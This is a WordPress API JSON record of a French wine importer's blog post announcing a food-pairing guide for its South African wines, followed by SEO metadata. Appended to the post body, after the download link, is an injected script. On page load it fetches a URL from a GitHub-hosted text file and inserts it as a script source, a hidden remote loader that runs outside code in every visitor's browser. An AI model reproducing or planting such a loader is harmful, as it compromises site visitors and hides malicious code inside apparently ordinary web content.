{"id":854,"date":"2013-09-12T10:36:11","date_gmt":"2013-09-12T09:36:11","guid":{"rendered":"http:\/\/continentduvin.fr\/?p=854"},"modified":"2024-10-29T15:12:44","modified_gmt":"2024-10-29T14:12:44","slug":"comment-mieux-conseiller-nos-vins","status":"publish","type":"post","link":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/","title":{"rendered":"COMMENT MIEUX CONSEILLER NOS VINS"},"content":{"rendered":"<p><a href=\"http:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/CDV-pro.pdf\" target=\"_blank\" rel=\"noopener\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignleft wp-image-859\" style=\"border: 5px solid black; margin-top: 60px; margin-bottom: 60px;\" src=\"http:\/\/continentduvin.fr\/wp-content\/uploads\/2012\/10\/Guide-conseil-vins-sud-africain-300x210.jpg\" alt=\"Guide conseil vins sud africain\" width=\"300\" height=\"210\" srcset=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2012\/10\/Guide-conseil-vins-sud-africain-300x210.jpg 300w, https:\/\/continentduvin.fr\/wp-content\/uploads\/2012\/10\/Guide-conseil-vins-sud-africain.jpg 910w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>L&rsquo;une des grandes difficult\u00e9s que connaissent les professionnels \u00a0lors de la pr\u00e9sentation et de la d\u00e9couverte des vins d&rsquo;ailleurs, c&rsquo;est souvent la m\u00e9connaissance du terroir de ces vignobles lointains et la difficult\u00e9 de pouvoir conseiller les vins aux clients dans la cadre d&rsquo;un accord avec les mets.<\/p>\n<p>Bien conscients de cette difficult\u00e9, voil\u00e0 quelques temps que nous r\u00e9fl\u00e9chissions \u00e0 la cr\u00e9ation d&rsquo;un document ludique qui puissent vous permettre de mieux conseiller les vins aupr\u00e8s de vos clients.<\/p>\n<p>Nous avons, enfin, \u00a0r\u00e9ussi \u00e0 \u00e9tablir\u00a0ce fameux \u00ab\u00a0guide de conseil\u00a0\u00bb qui nous l&rsquo;esp\u00e9rons vous permettra de r\u00e9pondre \u00e0 beaucoup de vos questions et \u00e0 celles de vos clients. Pour cette premi\u00e8re version, vous retrouverez nos vins d&rsquo;Afrique du Sud. Un autre document suivra bient\u00f4t pour les autres pays&#8230;<\/p>\n<p>Ce guide ne demande qu&rsquo;\u00e0 \u00e9voluer, si vous avez des id\u00e9es, des remarques, surtout n&rsquo;h\u00e9sitez pas \u00e0 nous les faire parvenir. Merci d&rsquo;avance de nous faire vos commentaires \u00e0 partir de l&rsquo;encadr\u00e9 \u00ab\u00a0commentaires\u00a0\u00bb en bas de cet article et si vous avez aim\u00e9 dites le nous, \u00e7a fait toujours chaud au c\u0153ur!!!<\/p>\n<p>Pour illustration, voici un exemple de la traduction du tableau:<\/p>\n<p><em>Stellenrust-\u00a0Kleine Rust- Rouge: c&rsquo;est un vin \u00e0 boire entre 14\/16 \u00b0c, avec une garde de 3 \u00e0 5 ans, le carafage n&rsquo;est pas utile. C&rsquo;est\u00a0un vin \u00e0 dominante \u00ab\u00a0l\u00e9ger gourmand\u00a0\u00bb avec tout de m\u00eame une belle densit\u00e9. Vous pouvez le conseiller avec un ap\u00e9ro dinatoire, des viandes blanches, une grillade, des plats \u00e9pic\u00e9s et pourquoi pas un fromage \u00e0 p\u00e2te molle.<\/em><\/p>\n<p>Vous pouvez t\u00e9l\u00e9chargez celui-ci <a title=\"Comment conseiller nos Vins d'Afrique du Sud\" href=\"http:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/CDV-pro.pdf\" target=\"_blank\" rel=\"noopener\">en cliquant ici&#8230;<\/a><script>var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&rsquo;une des grandes difficult\u00e9s que connaissent les professionnels \u00a0lors de la pr\u00e9sentation et de la d\u00e9couverte des vins d&rsquo;ailleurs, c&rsquo;est souvent la m\u00e9connaissance du terroir de ces vignobles lointains et la difficult\u00e9 de pouvoir conseiller les vins aux clients dans la cadre d&rsquo;un accord avec les mets. Bien conscients de cette difficult\u00e9, voil\u00e0 quelques temps [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":873,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_lmt_disableupdate":"no","_lmt_disable":"","site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"footnotes":""},"categories":[13],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v23.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>COMMENT MIEUX CONSEILLER NOS VINS -<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"COMMENT MIEUX CONSEILLER NOS VINS -\" \/>\n<meta property=\"og:description\" content=\"L&rsquo;une des grandes difficult\u00e9s que connaissent les professionnels \u00a0lors de la pr\u00e9sentation et de la d\u00e9couverte des vins d&rsquo;ailleurs, c&rsquo;est souvent la m\u00e9connaissance du terroir de ces vignobles lointains et la difficult\u00e9 de pouvoir conseiller les vins aux clients dans la cadre d&rsquo;un accord avec les mets. Bien conscients de cette difficult\u00e9, voil\u00e0 quelques temps [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/\" \/>\n<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/ContinentDuVin\/\" \/>\n<meta property=\"article:published_time\" content=\"2013-09-12T09:36:11+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-10-29T14:12:44+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/Guide-conseil-vins-sud-africain-en-tete1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"908\" \/>\n\t<meta property=\"og:image:height\" content=\"368\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Continent du Vin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Continent du Vin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Dur\u00e9e de lecture estim\u00e9e\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/\",\"url\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/\",\"name\":\"COMMENT MIEUX CONSEILLER NOS VINS -\",\"isPartOf\":{\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/Guide-conseil-vins-sud-africain-en-tete1.jpg\",\"datePublished\":\"2013-09-12T09:36:11+00:00\",\"dateModified\":\"2024-10-29T14:12:44+00:00\",\"author\":{\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/#\/schema\/person\/89ec7a9b781c7b216196c9436b7aaafc\"},\"breadcrumb\":{\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#primaryimage\",\"url\":\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/Guide-conseil-vins-sud-africain-en-tete1.jpg\",\"contentUrl\":\"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/Guide-conseil-vins-sud-africain-en-tete1.jpg\",\"width\":908,\"height\":368},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"COMMENT MIEUX CONSEILLER NOS VINS\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/#website\",\"url\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/\",\"name\":\"\",\"description\":\"Importateur de Vins du Monde depuis 2004\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/#\/schema\/person\/89ec7a9b781c7b216196c9436b7aaafc\",\"name\":\"Continent du Vin\",\"description\":\"Continent du Vin est importateur de vins d'Afrique du Sud, du Chili, d'Argentine, d'Oc\u00e9anie, d'Italie et d'Espagne depuis 2004. Au fil du temps, nous essayons de vous faire d\u00e9couvrir de nouveaux domaines et de nouvelles cuv\u00e9es pour vous faire voyager ! Rejoignez-nous sur notre profil Google+\",\"sameAs\":[\"http:\/\/www.continentduvin.fr\",\"https:\/\/www.facebook.com\/ContinentDuVin\/\"],\"url\":\"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"COMMENT MIEUX CONSEILLER NOS VINS -","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/","og_locale":"fr_FR","og_type":"article","og_title":"COMMENT MIEUX CONSEILLER NOS VINS -","og_description":"L&rsquo;une des grandes difficult\u00e9s que connaissent les professionnels \u00a0lors de la pr\u00e9sentation et de la d\u00e9couverte des vins d&rsquo;ailleurs, c&rsquo;est souvent la m\u00e9connaissance du terroir de ces vignobles lointains et la difficult\u00e9 de pouvoir conseiller les vins aux clients dans la cadre d&rsquo;un accord avec les mets. Bien conscients de cette difficult\u00e9, voil\u00e0 quelques temps [&hellip;]","og_url":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/","article_author":"https:\/\/www.facebook.com\/ContinentDuVin\/","article_published_time":"2013-09-12T09:36:11+00:00","article_modified_time":"2024-10-29T14:12:44+00:00","og_image":[{"width":908,"height":368,"url":"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/Guide-conseil-vins-sud-africain-en-tete1.jpg","type":"image\/jpeg"}],"author":"Continent du Vin","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Continent du Vin","Dur\u00e9e de lecture estim\u00e9e":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/","url":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/","name":"COMMENT MIEUX CONSEILLER NOS VINS -","isPartOf":{"@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/#website"},"primaryImageOfPage":{"@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#primaryimage"},"image":{"@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#primaryimage"},"thumbnailUrl":"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/Guide-conseil-vins-sud-africain-en-tete1.jpg","datePublished":"2013-09-12T09:36:11+00:00","dateModified":"2024-10-29T14:12:44+00:00","author":{"@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/#\/schema\/person\/89ec7a9b781c7b216196c9436b7aaafc"},"breadcrumb":{"@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#primaryimage","url":"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/Guide-conseil-vins-sud-africain-en-tete1.jpg","contentUrl":"https:\/\/continentduvin.fr\/wp-content\/uploads\/2013\/09\/Guide-conseil-vins-sud-africain-en-tete1.jpg","width":908,"height":368},{"@type":"BreadcrumbList","@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/comment-mieux-conseiller-nos-vins\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/"},{"@type":"ListItem","position":2,"name":"COMMENT MIEUX CONSEILLER NOS VINS"}]},{"@type":"WebSite","@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/#website","url":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/","name":"","description":"Importateur de Vins du Monde depuis 2004","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"},{"@type":"Person","@id":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/#\/schema\/person\/89ec7a9b781c7b216196c9436b7aaafc","name":"Continent du Vin","description":"Continent du Vin est importateur de vins d'Afrique du Sud, du Chili, d'Argentine, d'Oc\u00e9anie, d'Italie et d'Espagne depuis 2004. Au fil du temps, nous essayons de vous faire d\u00e9couvrir de nouveaux domaines et de nouvelles cuv\u00e9es pour vous faire voyager ! Rejoignez-nous sur notre profil Google+","sameAs":["http:\/\/www.continentduvin.fr","https:\/\/www.facebook.com\/ContinentDuVin\/"],"url":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/author\/admin\/"}]}},"modified_by":"Continent du Vin","_links":{"self":[{"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/posts\/854"}],"collection":[{"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/comments?post=854"}],"version-history":[{"count":1,"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/posts\/854\/revisions"}],"predecessor-version":[{"id":15026,"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/posts\/854\/revisions\/15026"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/media\/873"}],"wp:attachment":[{"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/media?parent=854"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/categories?post=854"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/continentduvin.fr\/importateur-de-vin-du-monde\/wp-json\/wp\/v2\/tags?post=854"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}